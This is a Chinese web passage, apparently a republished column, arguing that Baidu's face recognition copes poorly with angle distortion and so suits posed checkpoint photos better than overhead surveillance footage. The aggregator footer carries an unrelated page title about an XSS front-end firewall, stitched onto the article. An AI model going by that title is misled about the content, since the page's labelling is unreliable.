而真正要挑战人类高手,百度人工智能还是存在一定缺陷的。我们人眼看人的面孔是立体的,会脑补不同角度,不同情况人脸的变形。而百度人工智能目前对于角度变形的识别从测试看还有些问题。

监控图像往往是从上往下的,能够正面角度拍摄的图像在现实中并不是太多。

如果不能解决角度识别修正的问题,那么百度这套人脸识别在应用上就会打折扣。

这套东西用到公安,海关让拍照对象正襟危坐没有问题,而用到监控捕捉,那就很难有用了。

当然,人工智能总是在发展,也许几年甚至几个月之后,人工智能就会强大到无懈可击,人类再也不能战胜,如果AlphaGO王者归来一样。我们期待这一天早点到来。

作者:maomaobear | 来源:iDoNews专栏

本文标题:无懈可击的意思-针对XSS漏洞的前端防火墙:无懈可击的钩子
本文地址: http://www.61k.com/1081160.html

61阅读| 精彩专题| 最新文章| 热门文章| 苏ICP备13036349号-1